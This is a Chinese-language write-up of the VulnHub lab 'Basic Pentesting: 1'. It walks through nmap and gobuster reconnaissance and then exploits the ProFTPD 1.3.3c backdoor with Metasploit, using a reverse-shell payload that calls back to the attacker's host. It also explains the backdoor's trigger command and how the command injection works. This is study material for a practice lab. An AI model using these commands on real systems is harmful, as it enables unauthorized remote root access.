Basic Pentesting: 1
来自 <Basic Pentesting: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.135
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.135
4,尝试匿名访问ftp服务器
失败,然后在尝试访问web服务
默认页面,尝试枚举扫描爆破其网站子目录
gobuster dir -u http://192.168.23.135/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
看到子网页特征就知道是wordpress建站
识别网站指纹特征
whatweb -v http://192.168.23.135/secret/
接着再扫出子目录的子目录
gobuster dir -u http://192.168.23.135/secret -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
5,检索该版本wordpress存在的漏洞利用脚本
searchsploit wordpress 4.9
没有特别明显的漏洞,那么就可从插件的漏洞作为突破。使用专门扫描工具wpscan
wpscan --url http://192.168.23.135/secret
那就只能暂且搁置
6,尝试检索ftp服务的版本漏洞
searchsploit ProFTPD 1.3.3c
直接就查出来存在后门命令执行漏洞,而且Metasploit存在攻击模块,那么直接使用之
msfconsole -q
search ProFTPD 1.3.3c
use exploit/unix/ftp/proftpd_133c_backdoor
然后查看需要配置的选项
options
set RHOSTS 192.168.23.135
set payload cmd/unix/reverse
set lhost 192.168.23.128
set lport 4444
run
居然直接变成了root用户。启动可交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
ProFTPD 1.3.3c 后门漏洞
漏洞背景
- 在 2010 年 11 月 28 日到 12 月 2 日 之间,ProFTPD 官方源代码包(1.3.3c 版本)被攻击者篡改。
- 篡改后的代码中添加了一个 隐藏后门,允许远程未经认证的用户在 FTP 服务进程(通常是 root 权限运行)下执行系统命令。
- 这属于 源码供应链攻击 → 后门植入 → 远程命令执行。
脚本关键逻辑解析
1. 模块定义
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Ftp
- 这是一个 远程 exploit 模块,使用了 Metasploit 提供的 FTP 客户端接口。
- Rank = ExcellentRanking,说明可靠性很高。
2. 核心利用点
sock.put("HELP ACIDBITCHEZ\r\n")
res = sock.get_once(-1,10)
- 模块向目标 FTP 服务器发送一个特殊命令:
HELP ACIDBITCHEZ - 这个命令是攻击者留在后门里的 触发关键词。
- 如果服务器响应不是标准 502(未实现),说明这个 ProFTPD 被后门篡改,可以继续攻击。
3. 命令执行
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
- 一旦确认存在后门,脚本就可以直接发送任意系统命令。
- 这里利用 nohup 让命令在后台执行,同时将输出重定向到 /dev/null,避免暴露。
- payload.encoded 是 Metasploit 生成的攻击载荷(如反弹 shell)。
- 由于 ProFTPD 进程通常由 root 权限运行,所以执行的 payload 就自动获得了 root 权限 → 直接提权。
4. 建立会话
handler
- 这一步启动 Metasploit 的会话处理器,等待被控主机的反弹连接。
- 一旦连接成功,攻击者即可拿到一个交互式 shell。
提权原理总结
- 供应链攻击 → ProFTPD 源码被植入后门。
- 后门命令触发 → HELP ACIDBITCHEZ 激活隐藏逻辑。
- 任意命令执行 → FTP 服务进程直接执行攻击者命令。
- root 提权 → 因为 ProFTPD 常以 root 权限运行,payload 默认就是 root 权限。
- 远程控制 → 反弹 shell 回到攻击者,完成全权限接管。
关键点
- 这不是“正常漏洞”,而是 恶意代码注入(后门)。
- 本质是攻击者利用开发方被入侵,篡改了源代码,导致任何安装该版本的人自动中招。
- 这种利用 无需用户名密码认证,直接远程 root。
- 提权环节不是本地溢出或提权链,而是 服务本身默认 root 运行造成的。